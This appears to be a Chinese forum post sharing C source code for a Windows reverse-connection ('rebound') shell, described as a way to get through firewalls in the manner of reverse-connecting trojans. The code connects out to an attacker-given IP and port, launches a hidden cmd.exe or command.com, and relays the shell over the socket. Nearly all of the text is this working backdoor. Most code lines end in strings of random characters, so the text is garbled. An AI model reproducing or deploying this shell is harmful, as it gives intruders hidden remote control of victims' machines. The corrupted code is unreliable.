这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 a.RYRq4o
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/* ============================== yy[ Y=
Rebound port in Windows NT \=`jo$S
By wind,2006/7 UX<)hvKj
===============================*/ & JJ*?Dl
#include -M_>]ubG
#include xI/8[JW*
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#pragma comment(lib,"wsock32.lib") 'KT(;Vof
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void OutputShell(); 6V}xgfB
SOCKET sClient; ^".6~{
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 6j+X@|2^
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void main(int argc,char **argv) O:
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{
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WSADATA stWsaData; F?0Q AA
int nRet; qZ
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SOCKADDR_IN stSaiClient,stSaiServer; 4S[)5su
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if(argc != 3) ez)Ks`
{ RCxwiZaf33
printf("Useage:\n\rRebound DestIP DestPort\n"); E H%hL5(
return; 5hDy62PRr
} [N}QCy
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WSAStartup(MAKEWORD(2,2),&stWsaData); lC,~_Yb
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]*Q,~uV^|
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stSaiClient.sin_family = AF_INET; H*+7{;$
stSaiClient.sin_port = htons(0); ;:+2.//
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); n}fV$qu
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) kHhku!CH
{ ^U96p0H"T
printf("Bind Socket Failed!\n"); e@ $|xa")
return; oA7| s1
} h@\HPYi#.
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stSaiServer.sin_family = AF_INET; r.6?|
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,?Zy4-
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ='_3qn.
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) IN;9p w
{ `&xdS H
printf("Connect Error!"); [TFp2B~)#
return; 8lS
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} Ap;^\5
OutputShell(); <*-8E(a
} Z glU{sU
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void OutputShell() a/3'!} &e
{ t~nW&]E
char szBuff[1024]; inZ0iU9dy
SECURITY_ATTRIBUTES stSecurityAttributes; moh,a B#
OSVERSIONINFO stOsversionInfo; q(L.i)w$
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; z"QXPIXPk
STARTUPINFO stStartupInfo; 2;3&&yK2b
char *szShell; W- nS{v(
PROCESS_INFORMATION stProcessInformation;
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unsigned long lBytesRead; `Mcg&Mi~
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); LU`)
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ]gm3|-EiY
stSecurityAttributes.lpSecurityDescriptor = 0; G"kX#k0S
stSecurityAttributes.bInheritHandle = TRUE; 51H6
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 8bO+[" c
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); V[kn'QkWv
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); jG)66E*"
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y9vVi]4
stStartupInfo.wShowWindow = SW_HIDE; vv<\LN0
stStartupInfo.hStdInput = hReadPipe; p9mGiK4!
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; J^%E$s
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GetVersionEx(&stOsversionInfo); #o9CC)q5G
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switch(stOsversionInfo.dwPlatformId) !|]k2=+I
{ yf`_?gJ6d
case 1: cz>)6#&O
szShell = "command.com"; TBba3%
break; a2i:fz=[
default: PYY<
szShell = "cmd.exe"; !r/~D |
break; G\,B*$3
} Br&&#
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); zb02\xvf
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send(sClient,szMsg,77,0); @H(7Mt
while(1) ]Y76~!N
{ $= 2[Q
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !W0JT#0
if(lBytesRead) 7.g,&s%q
{ \u[5O@v#
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); !8W0XUqh+
send(sClient,szBuff,lBytesRead,0); CRrEs
18;#
} IB 4L(n1
else 3pL4Zhf
{ px+]/P<dX
lBytesRead=recv(sClient,szBuff,1024,0); c'Z)uquvP
if(lBytesRead<=0) break; TL7qOA7^X
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); h^`@%g9 S
} EM+! ph
} 0b8=94a{>
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return; i.?rom
}